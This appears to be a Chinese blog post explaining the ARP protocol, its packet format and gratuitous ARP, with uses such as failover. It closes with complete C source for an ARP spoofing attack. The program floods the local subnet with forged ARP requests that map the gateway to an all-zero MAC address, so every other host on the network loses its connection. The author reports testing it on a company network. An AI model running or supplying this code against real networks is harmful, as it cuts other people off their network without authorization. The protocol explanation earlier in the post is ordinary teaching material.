zoukankan      html  css  js  c++  java
  • 浅谈ARP协议以及应用

    0. 前言

      本章主要简单的介绍ARP的协议格式,主机如何发送和处理ARP报文,以及免费ARP。

    1. ARP协议原理

      ARP,全称Address Resolution Protocol,地址解析协议,在网络中,有IP地址和MAC地址,在链路层发送报文时使用的是MAC硬件地址,这时需要将IP地址转换为48bit MAC地址,这就会使用到ARP协议。

      如下,有两台主机,239主机ping向238主机。当本地ARP缓存中没有238主机对应的项时,会发起ARP广播请求,之后使用arp命令查看ARP缓存,可以看到238主机对应的MAC,

      在linux下使用tcpdump工具查看底层数据流可以得知:

    其序列图以及ARP缓存如下:

    在239主机查看arp缓存结果:

    2. ARP协议格式

      下图为ARP协议报文的格式信息(图百度得来),这里如上例子,发送的ARP请求报文中,以太网源地址即为239主机,而以太网目的地址则为ff:ff:ff:ff:ff:ff,发送端以太网地址和IP地址为239主机,目的以太网地址为全0,目的IP地址为172.16.17.238

    3. 免费ARP

      gratuitous ARP,主机发送查找自己的ARP地址,即主机发送的目的IP地址和发送端IP地址均为为自身,并且以太网源地址和目的以太网地址,发送端以太网地址均为自身的MAC地址,而以太网首部的以太网目的地址则为广播ff:ff:ff:ff:ff:ff。

      这样子有两个作用,一个是查找是否有IP重复,二是更改同一网段下的主机ARP缓存对应的MAC地址。

      对于作用二,有几个用途,可以被用作主备切换,即主机和备机共用一个VIP(Virtual IP),当在其它服务器ARP缓存中保存一个映射,VIP -> 主机MAC,当备机检测到主机宕机后,则发送免费ARP,更新其他服务器ARP缓存,形成VIP -> 备机MAC映射,这样就完成了简单的灾备。

      例外一个之一用途就是ARP欺骗,数据窃听等。

    4. ARP欺骗

      原理是利用ARP来实现。可以利用为攻击主机或者路由器等,使得其不能上网之类的,网络执法官原理就是这样。下面的程序实现了一个简单的免费ARP,更改同一网段(172.16.17.*)下主机ARP缓存中网关的映射,将其缓存映射为一个不存在的MAC地址。

      下面程序使用C实现,利用socket创建AF_PACKET来类型的套接字来直接操作链路层数据。已在公司的内部网络中测试过。

    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netpacket/packet.h>
    #include <net/ethernet.h>
    #include <linux/if_ether.h>
    #include <string.h>
    #include <arpa/inet.h>
    #include <stdlib.h>
    #include <assert.h>
    #include <stdio.h>
    #include <net/if.h>
    #include <errno.h>
    
    #define HARD_TYPE_ETHER    0x01    //硬件类型
    #define PROTOCOL_IP        0x01     //IP协议类型
    #define MAC_ADDR_LEN    0x06    //硬件地址长度
    #define IP_ADDR_LEN        0x04     //IP地址长度
    
    #define ARP_OP_REQUEST    0x01    //ARP请求操作
    #define ARP_OP_RESPONSE    0x02     //ARP响应操作
    
    //ARP报文
    typedef struct arpPkg
    {
        unsigned short sHardType;      //硬件类型
        unsigned short sProtocolType;  //协议类型
        unsigned char cHardAddrLen;    //硬件地址长度
        unsigned char cIpAddrLen;      //映射的协议地址长度
        unsigned short sOpType;        //操作类型
    
        unsigned char aSendMac[6];     //发送者MAC地址
        unsigned char aSendIP[4];      //发送者IP地址
        unsigned char aDstMac[6];      //目的地MAC地址
        unsigned char aDstIP[4];       //目的地IP地址
    } ArpPkg;
    
    //将本机字节序转换为网络字节序
    //并返回偏移长度
    int HostToNetByte(char *pNet, unsigned char *aHostByte, int nLen)
    {
        int i, j;
        for (i = nLen - 1, j = 0; i >= 0; --i, j++)
        {
            pNet[j] = aHostByte[i];
        }
    
        return j;
    }
    
    static int GetHex( char cAsc )
    {
        if ( isdigit( cAsc ) )
            return cAsc - '0';
    
        if ( isalpha( cAsc ) )
            cAsc = tolower( cAsc ) - 'a';
    
        return cAsc + 10;
    }
    
    //将Asc转换为Hex
    int AscToHex( const char *pAsc, char *pHex, int *pHexLen )
    {
        int i, nHexLen;
        int nAscLen = strlen( pAsc );
    
        for ( i = 0, nHexLen = 0; i < nAscLen; i += 2 )
        {
            pHex[nHexLen++] = (GetHex( pAsc[i] ) << 4) | (GetHex( pAsc[i + 1] ) & 0xF); //高字节 | 低字节
        }
        *pHexLen = nHexLen;
    
        return 0;
    }
    
    //字符串转为HEX后再转为网络字节序
    int AscToNetByte(char *pAsc, unsigned char *pNetByte)
    {
        unsigned char aHostByte[7];
        int nHostByteLen = sizeof(aHostByte);
        AscToHex(pAsc, (char *)aHostByte, &nHostByteLen);
    
        return HostToNetByte(pNetByte, aHostByte, nHostByteLen);
    }
    
    
    //组Arp报文,并返回报文长度
    int BuildArpPkg(ArpPkg * pArpPkg, char *pPkg)
    {
        int nPos = 0;
    
        nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sHardType, 2);
        nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sProtocolType, 2);
        pPkg[nPos++] = pArpPkg->cHardAddrLen;
        pPkg[nPos++] = pArpPkg->cIpAddrLen;
        nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sOpType, 2);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendMac, 6);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendIP, 4);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstMac, 6);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstIP, 4);
    
        return nPos;
    }
    
    //初始化ARP公共信息
    static void InitArpCommField(ArpPkg * pArpPkg, int nOpType)
    {
        pArpPkg->sHardType = HARD_TYPE_ETHER;    //以太网类型
        pArpPkg->sProtocolType = ETH_P_IP;        //IP数据包协议
        pArpPkg->cHardAddrLen = MAC_ADDR_LEN;
        pArpPkg->cIpAddrLen = IP_ADDR_LEN;
        pArpPkg->sOpType = nOpType;
    }
    
    
    //组ARP请求报文
    int BuildArpRequest(unsigned char *pPkg, char *pSendMacStr, char *pSendIpStr, char *pDstMacStr, char *pDstIpStr)
    {
        ArpPkg stArpPkg;
        memset(&stArpPkg, 0, sizeof(ArpPkg));
    
        InitArpCommField(&stArpPkg, ARP_OP_REQUEST);
    
        AscToNetByte(pSendMacStr, stArpPkg.aSendMac);
        AscToNetByte(pSendIpStr, stArpPkg.aSendIP);
        AscToNetByte(pDstMacStr, stArpPkg.aDstMac);
        AscToNetByte(pDstIpStr, stArpPkg.aDstIP);
    
        return BuildArpPkg(&stArpPkg, pPkg);
    }
    
    
    int main(int argc, char const *argv[])
    {
        char *pMac = "ffffffffffff";        //目的MAC   广播
        char *pDstIP = "AC1011FE";            //目的IP     172.16.17.254
        char *pTrickMac = "000000000000";    //伪装的MAC
        char *pTrickIP = "AC1011FE";        //伪装的IP,172.16.17.254
        unsigned char aMacByte[7];
        int nFd = socket(AF_PACKET, SOCK_DGRAM, 0);
    
        //初始化链路地址信息
        struct sockaddr_ll sockaddr;
        memset(&sockaddr, 0, sizeof(struct sockaddr_ll));
        sockaddr.sll_family = htons(AF_PACKET);
        sockaddr.sll_protocol = htons(ETH_P_ARP);
        sockaddr.sll_halen = htons(6);
        AscToNetByte(pTrickMac, aMacByte);
        memcpy(sockaddr.sll_addr, aMacByte, 6);
        sockaddr.sll_ifindex = IFF_BROADCAST;    //广播
    
        //创建免费ARP请求报文
        unsigned char aPkg[64] = {0};
        int nPkgLen = BuildArpRequest(aPkg, pTrickMac, pTrickIP, pMac, pDstIP);
    
        //不间断发送ARP请求
        while (1)
        {
            int nRet = sendto(nFd, aPkg, nPkgLen, 0, (struct sockaddr *)&sockaddr, sizeof(sockaddr));
            if (nRet == -1)
            {
                perror("Error");
                exit(-1);
            }
            usleep(100);
        }
    
        close(nFd);
        return 0;
    }

      

  • 相关阅读:
    poj 1113 Wall 凸包的应用
    NYOJ 78 圈水池 (入门级凸包)
    Monotone Chain Convex Hull(单调链凸包)
    poj Sudoku(数独) DFS
    poj 3009 Curling 2.0(dfs)
    poj 3083 Children of the Candy Corn
    Python join()方法
    通过FISH和下一代测序检测肺腺癌ALK基因融合比较
    华大病原微生物检测
    NGS检测ALK融合大起底--转载
  • 原文地址:https://www.cnblogs.com/jabnih/p/4982214.html
Copyright © 2011-2022 走看看